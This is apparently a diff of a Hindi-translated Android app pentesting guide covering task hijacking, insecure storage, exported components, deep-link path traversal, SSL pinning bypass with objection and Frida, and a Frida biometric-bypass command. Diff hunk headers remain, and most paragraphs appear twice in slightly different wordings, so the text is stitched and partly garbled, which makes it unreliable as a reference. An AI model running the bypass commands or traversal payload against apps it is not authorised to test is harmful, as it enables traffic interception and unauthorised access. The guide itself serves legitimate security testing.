**Tapjacking** एक हमला है जहां एक **malicious** **application** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को स्थिति में रखता है**। जब यह स्पष्ट रूप से पीड़ित ऐप को अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जा सके, जबकि यह बातचीत को पीड़ित ऐप को पास कर रहा है।\
प्रभाव में, यह **उपयोगकर्ता को यह जानने से अंधा कर रहा है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**।
अधिक जानकारी के लिए देखें:
@ -115,7 +115,7 @@ APK के **strings** पर एक नज़र डालकर आप **passw
### Task Hijacking
एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, वह task Hijacking के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाजैक कर सकती है** (इसलिए उपयोगकर्ता **malicious application** के साथ बातचीत कर रहा होगा जबकि वह असल में वास्तविक एप्लिकेशन का उपयोग कर रहा है)।
एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है बिना किसी `taskAffinity` के परिभाषित किए, कार्य हाइजैकिंग के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है तो यह **वास्तविक एप्लिकेशन के कार्य को हाजैक कर सकती है** (इसलिए उपयोगकर्ता **malicious application** के साथ बातचीत कर रहा होगा यह सोचते हुए कि वह असली का उपयोग कर रहा है)।
अधिक जानकारी के लिए देखें:
@ -127,28 +127,28 @@ APK के **strings** पर एक नज़र डालकर आप **passw
**Internal Storage**
Android में, फ़ाइलें **stored** **internal** storage में **designed** होती हैं ताकि केवल **app** जो उन्हें **created** करती है, उन्हें **accessible** किया जा सके। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और सामान्यतः अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **shared** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुंच को **restrict** नहीं करते हैं, जिसमें संभावित रूप से malicious एप्लिकेशन भी शामिल हैं।
Android में, फ़ाइलें **internal** storage में **stored** की जाती हैं ताकि वे केवल उस **app** द्वारा **access** की जा सकें जिसने उन्हें **created** किया है। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और सामान्यतः अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **shared** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुंच को **restrict** नहीं करते हैं, जिसमें संभावित रूप से malicious एप्लिकेशन भी शामिल हैं।
1. **Static Analysis:**
* **Ensure** करें कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **carefully scrutinized** किया गया है। ये मोड फ़ाइलों को **unintended or unauthorized access** के लिए **potentially expose** कर सकते हैं।
2. **Dynamic Analysis:**
* **Verify** करें कि ऐप द्वारा बनाई गई फ़ाइलों पर सेट की गई **permissions**्या हैं। विशेष रूप से, **check** करें कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **read or modify** करने की अनुमति देगा।
* ऐप द्वारा बनाई गई फ़ाइलों पर सेट की गई **permissions****verify** करें। विशेष रूप से, **check** करें कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **read or modify** करने की अनुमति देगा।
**External Storage**
**External storage** पर फ़ाइलों के साथ काम करते समय, कुछ सावधानियाँ बरतनी चाहिए:
1. **Accessibility**:
* External storage पर फ़ाइलें **globally readable and writable** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुच सकता है।
* बाहरी संग्रहण पर फ़ाइलें **globally readable and writable** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुच सकता है।
2. **Security Concerns**:
* पहुच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को external storage पर **न रखें**
* External storage को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है।
* पहुच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को बाहरी संग्रहण पर **न रखें**
* बाहरी संग्रहण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है।
3. **Handling Data from External Storage**:
* हमेशा **input validation** करें जो external storage से प्राप्त डेटा पर लागू होती है। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है।
* Dynamic loading के लिए external storage पर executables या class files को स्टोर करना दृढ़ता से हतोत्साहित किया जाता है।
* यदि आपके एप्लिकेशन को external storage से executable फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **signed and cryptographically verified** हैं इससे पहले कि उन्हें dynamically loaded किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है।
* हमेशा बाहरी संग्रहण से प्राप्त डेटा पर **input validation** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है।
* बाहरी संग्रहण पर executables या class फ़ाइलों को गतिशील लोडिंग के लिए रखना दृढ़ता से हतोत्साहित किया जाता है।
* यदि आपके एप्लिकेशन को बाहरी संग्रहण से executable फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **signed and cryptographically verified** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है।
External storage को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **accessed** किया जा सकता है।
बाहरी संग्रहण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **access** किया जा सकता है।
{% hint style="info" %}
Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **एक ऐप से उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुंच को सीमित करती है**। यह malicious एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुंच प्राप्त करने से रोकता है।
@ -178,7 +178,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Use of Insecure and/or Deprecated Algorithms**
डेवलपर्स को **deprecated algorithms** का उपयोग करके **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो उदाहरण के लिए, salt के साथ brute-force **resistant** hashes का उपयोग किया जाना चाहिए।
डेवलपर्स को **deprecated algorithms** का उपयोग करके प्राधिकरण **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो उदाहरण के लिए, salt के साथ brute-force **resistant** hashes का उपयोग किया जाना चाहिए।
### Other checks
@ -239,7 +239,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -320,7 +320,7 @@ Anyway, it's still recommended to **not log sensitive information**.
**Copy/Paste Buffer Caching**
Android का **clipboard-based** ढांचा ऐप्स में कॉपी-पेस्ट कार्यक्षमता को सक्षम करता है, फिर भी यह एक जोखिम प्रस्तुत करता है क्योंकि **अन्य एप्लिकेशन** क्लिपबोर्ड तक **पहुँच** सकते हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। यह महत्वपूर्ण है कि संवेदनशील अनुभागों के लिए **कॉपी/पेस्ट** कार्यों को बंद कर दिया जाए, जैसे कि क्रेडिट कार्ड विवरण, डेटा लीक को रोकने के लिए।
Android का **clipboard-based** ढांचा ऐप्स में कॉपी-पेस्ट कार्यक्षमता को सक्षम करता है, फिर भी यह एक जोखिम प्रस्तुत करता है क्योंकि **अन्य एप्लिकेशन** क्लिपबोर्ड को **access** कर सकते हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। संवेदनशील अनुभागों के लिए **copy/paste** कार्यों को अक्षम करना महत्वपूर्ण है, जैसे कि क्रेडिट कार्ड विवरण, डेटा लीक को रोकने के लिए।
**Crash Logs**
@ -330,7 +330,7 @@ As pentester, **try to take a look to these logs**.
**Analytics Data Sent To 3rd Parties**
एप्लिकेशन अक्सर Google Adsense जैसी सेवाओं को एकीकृत करते हैं, जो डेवलपर्स द्वारा अनुचित कार्यान्वयन के कारण अनजाने में **संवेदनशील डेटा लीक** कर सकते हैं। संभावित डेटा लीक की पहचान करने के लिए, यह सलाह दी जाती है कि **एप्लिकेशन के ट्रैफ़िक को इंटरसेप्ट करें** और देखें कि क्या कोई संवेदनशील जानकारी तीसरे पक्ष की सेवाओं को भेजी जा रही है।
Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services.
### SQLite DBs
@ -372,7 +372,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**संवेदनशील जानकारी का रिसाव**
**गतिविधियाँ परिणाम भी लौटा सकती हैं**। यदि आप एक निर्यातित और असुरक्षित गतिविधि को खोजने में सफल होते हैं जो **`setResult`** विधि को कॉल करती है और **संवेदनशील जानकारी** लौटाती है, तो यह संवेदनशील जानकारी का रिसाव है।
**गतिविधियाँ भी परिणाम लौटा सकती हैं**। यदि आप एक निर्यातित और अप्रोटेक्टेड गतिविधि को खोजने में सफल होते हैं जो **`setResult`** विधि को कॉल करती है और **संवेदनशील जानकारी** लौटाती है, तो यह संवेदनशील जानकारी का रिसाव है।
#### टैपजैकिंग
@ -381,7 +381,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
### सामग्री प्रदाताओं का शोषण - संवेदनशील जानकारी तक पहुँच और हेरफेर करना
[**यदि आप सामग्री प्रदाता क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#content-provider)\
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि क ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा निकालने में सक्षम हो सकते हैं। यह भी संभावित **SQL इंजेक्शन** और **पथ यात्रा** का परीक्षण करने के लिए दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा निकालने में सक्षम हो सकते हैं। यह भी संभावित **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करने के लिए दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
[**ड्रोज़र के साथ सामग्री प्रदाताओं का शोषण कैसे करें, यह जानें।**](drozer-tutorial/#content-providers)
@ -390,20 +390,20 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
[**यदि आप सेवा क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#services)\
याद रखें कि एक सेवा की क्रियाएँ `onStartCommand` विधि में शुरू होती हैं।
एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्करण** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटाता है। फिर, यदि क एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्राधिकरण उपायों को बाईपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्करण** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटाता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बाईपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
[**ड्रोज़र के साथ सेवाओं का शोषण कैसे करें, यह जानें।**](drozer-tutorial/#services)
### **प्रसारण रिसीवर्स का शोषण**
### **ब्रॉडकास्ट रिसीवर्स का शोषण**
[**यदि आप प्रसारण रिसीवर क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#broadcast-receivers)\
याद रखें कि एक प्रसारण रिसीवर की क्रियाएँ `onReceive` विधि में शुरू होती हैं।
[**यदि आप ब्रॉडकास्ट रिसीवर क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#broadcast-receivers)\
याद रखें कि एक ब्रॉडकास्ट रिसीवर की क्रियाएँ `onReceive` विधि में शुरू होती हैं।
एक प्रसारण रिसीवर एक प्रकार के संदेश की प्रतीक्षा करेगा। रिसीवर संदेश को कैसे संभालता है, इसके आधार पर यह कमजोर हो सकता है।\
[**ड्रोज़र के साथ प्रसारण रिसीवर्स का शोषण कैसे करें, यह जानें।**](./#exploiting-broadcast-receivers)
एक ब्रॉडकास्ट रिसीवर एक प्रकार के संदेश की प्रतीक्षा करेगा। रिसीवर जिस तरह से संदेश को संभालता है, उसके आधार पर यह कमजोर हो सकता है।\
[**ड्रोज़र के साथ ब्रॉडकास्ट रिसीवर्स का शोषण कैसे करें, यह जानें।**](./#exploiting-broadcast-receivers)
### **स्कीमों / डीप लिंक का शोषण**
आप मैन्युअल रूप से डीप लिंक की खोज कर सकते हैं, MobSF जैसे उपकरणों या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
आप मैन्युअल रूप से डीप लिंक की खोज कर सकते हैं, MobSF जैसे उपकरणों का उपयोग करके या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
आप **adb** या एक **ब्राउज़र** का उपयोग करके एक घोषित **स्कीम** को **खोल** सकते हैं:
{% code overflow="wrap" %}
@ -436,7 +436,7 @@ _ध्यान दें कि आप **पैकेज नाम को छ
**पैरामीटर पथ में**
आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर किसी पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप पथ यात्रा को मजबूर कर सकते हैं और कुछ इस तरह पहुंच सकते हैं: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **Open Redirect** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है।
ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **ओपन रीडायरेक्ट** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है।
**अधिक उदाहरण**
@ -444,9 +444,9 @@ _ध्यान दें कि आप **पैकेज नाम को छ
### ट्रांसपोर्ट लेयर निरीक्षण और सत्यापन विफलताएँ
* **सर्टिफिकेट हमेशा ठीक से निरीक्षित नहीं होते** Android एप्लिकेशनों द्वारा। इन एप्लिकेशनों के लिए चेतावनियों की अनदेखी करना और स्व-हस्ताक्षरित सर्टिफिकेट स्वीकार करना या कुछ मामलों में HTTP कनेक्शन का उपयोग करना सामान्य है।
* **SSL/TLS हैंडशेक के दौरान बातचीत कभी-कभी कमजोर होती है**, असुरक्षित सिफर सूट का उपयोग करते हुए। यह कमजोरियों के कारण कनेक्शन को मैन-इन-द-मिडल (MITM) हमलों के प्रति संवेदनशील बनात है, जिससे हमलावर डेटा को डिक्रिप्ट कर सकते हैं।
* **निजी जानकारी का लीक होना** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संवाद करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से बचाने में विफल रहता है।
* **सर्टिफिकेट हमेशा ठीक से निरीक्षण नहीं किए जाते** Android एप्लिकेशनों द्वारा। इन एप्लिकेशनों के लिए चेतावनियों की अनदेखी करना और स्व-हस्ताक्षरित सर्टिफिकेट स्वीकार करना या कुछ मामलों में HTTP कनेक्शन का उपयोग करना सामान्य है।
* **SSL/TLS हैंडशेक के दौरान बातचीत कभी-कभी कमजोर होती है**, असुरक्षित सिफर सूट का उपयोग करते हुए। यह भेद्यता कनेक्शन को मैन-इन-द-मिडल (MITM) हमलों के प्रति संवेदनशील बनात है, जिससे हमलावर डेटा को डिक्रिप्ट कर सकते हैं।
* **निजी जानकारी का लीक** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संचार करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से बचाने में विफल रहता है।
#### सर्टिफिकेट सत्यापन
@ -454,27 +454,27 @@ _ध्यान दें कि आप **पैकेज नाम को छ
#### SSL पिनिंग
SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के सर्टिफिकेट की पुष्टि एक ज्ञात प्रति के खिलाफ करत है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है।
SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के सर्टिफिकेट की पुष्टि एक ज्ञात प्रति के खिलाफ करत है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है।
#### ट्रैफ़िक निरीक्षण
HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल का सर्टिफिकेट स्थापित करना आवश्यक है** (जैसे, Burp)। इस सर्टिफिकेट को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता। कस्टम CA सर्टिफिकेट स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)।
**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA सर्टिफिकेट को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िग को संशोधित करने की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िग को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल का संदर्भ लें**](make-apk-accept-ca-certificate.md)
**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA सर्टिफिकेट को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िग को संशोधित करने की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िग को संशोधित करने के निर्देशों के लिए, [**इस ट्यूटोरियल का संदर्भ लें**](make-apk-accept-ca-certificate.md)
#### SSL पिनिंग को बायपास करना
जब SSL पिनिंग लागू होती है, तो HTTPS ट्रैफ़िक का निरीक्षण करने के लिए इसे बायपास करना आवश्यक हो जाता है। इस उद्देश्य के लिए विभिन्न विधियाँ उपलब्ध हैं:
* स्वचालित रूप से **संशोधित करें** **apk** को **SSL पिनिंग को बायपास** करने के लिए [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग को बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को पुनः स्थापित करना होगा, और यह हमेशा काम नहीं करेगा।
* आप इस सुरक्षा को बायपास करने के लिए **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई)। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* आप **objection** का उपयोग करके **स्वचालित रूप से SSL पिनिंग को बायपास** करने की कोशिश कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* आप **MobSF डायनामिक एनालिसिस** का उपयोग करके **स्वचालित रूप से SSL पिनिंग को बायपास** करने की कोशिश कर सकते हैं (नीचे समझाया गया)
* यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने**ी कोशिश कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
* स्वचालित रूप से **संशोधित करें** **apk** को **SSL पिनिंग बायपास** करने के लिए [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा।
* आप **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई) इस सुरक्षा को बायपास करने के लिए। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* आप **स्वचालित रूप से SSL पिनिंग बायपास** करने का प्रयास कर सकते हैं [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* आप **MobSF डायनामिक एनालिसिस** का उपयोग करके भी **स्वचालित रूप से SSL पिनिंग बायपास** करने का प्रयास कर सकते हैं (नीचे समझाया गया)
* यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने**ा प्रयास कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### सामान्य वेब कमजोरियों की खोज
यह भी महत्वपूर्ण है कि आप एप्लिकेशन के भीतर सामान्य वेब कमजोरियों की खोज करें। इन कमजोरियों की पहचान और शमन के लिए विस्तृत जानकारी इस सारांश के दायरे से परे है लेकिन इसे अन्यत्र व्यापक रूप से कवर किया गया है।
यह भी महत्वपूर्ण है कि एप्लिकेशन के भीतर सामान्य वेब कमजोरियों की खोज की जाए। इन कमजोरियों की पहचान और शमन के लिए विस्तृत जानकारी इस सारांश के दायरे से परे है लेकिन इसे अन्यत्र व्यापक रूप से कवर किया गया है।
### Frida
@ -482,11 +482,11 @@ HTTP ट्रैफ़िक का निरीक्षण करने क
**आप चल रहे एप्लिकेशन तक पहुँच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\
यदि आप Android एप्लिकेशनों का परीक्षण करना चाहते हैं, तो आपको Frida का उपयोग करना सीखना होगा।
* Frida का उपयोग करना सीखें: [**Frida ट्यूटोरियल**](frida-tutorial/)
* Frida का उपयोग कैसे करें: [**Frida ट्यूटोरियल**](frida-tutorial/)
* Frida के साथ क्रियाओं के लिए कुछ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
* Ojection Frida के उपयोग को स्वचालित करने के लिए शानदार है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
* आप यहाँ कुछ शानदार Frida स्क्रिप्ट्स पा सकते हैं: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
* एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने की कोशिश करें Frida को लोड करके जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित किया गया है (उपकरण [linjector](https://github.com/erfur/linjector-rs))
* एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने का प्रयास करें Frida को लोड करके जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित किया गया है (उपकरण [linjector](https://github.com/erfur/linjector-rs))
### **Dump Memory - Fridump**
@ -511,7 +511,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
### **कीस्टोर में संवेदनशील डेटा**
Android में कीस्टोर संवेदनशील डेटा संग्रहीत करने के लिए सबसे अच्छा स्थान है, हालाँकि, पर्याप्त विशेषाधिकारों के साथ इसे **एक्सेस करना संभव है**। चूंकि एप्लिकेशन यहाँ **स्पष्ट पाठ में संवेदनशील डेटा** संग्रहीत करने की प्रवृत्ति रखते हैं, इसलिए pentests को इसे रूट उपयोगकर्ता के रूप में या किसी ऐसे व्यक्ति के साथ जांचना चाहिए जिसके पास डिवाइस तक भौतिक पहुंच हो, जो इस डेटा को चुरा सकता है।
Android में कीस्टोर संवेदनशील डेटा संग्रहीत करने के लिए सबसे अच्छा स्थान है, हालाँकि, पर्याप्त विशेषाधिकारों के साथ इसे **एक्सेस करना संभव है**। चूंकि एप्लिकेशन यहाँ **स्पष्ट पाठ में संवेदनशील डेटा** संग्रहीत करने की प्रवृत्ति रखते हैं, इसलिए पेंटेस्ट को इसे रूट उपयोगकर्ता के रूप में जांचना चाहिए या किसी के पास डिवाइस तक भौतिक पहुंच हो सकती है जो इस डेटा को चुरा सकता है।
यहां तक कि अगर एक ऐप ने कीस्टोर में डेटा संग्रहीत किया है, तो डेटा को एन्क्रिप्ट किया जाना चाहिए।
@ -531,13 +531,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
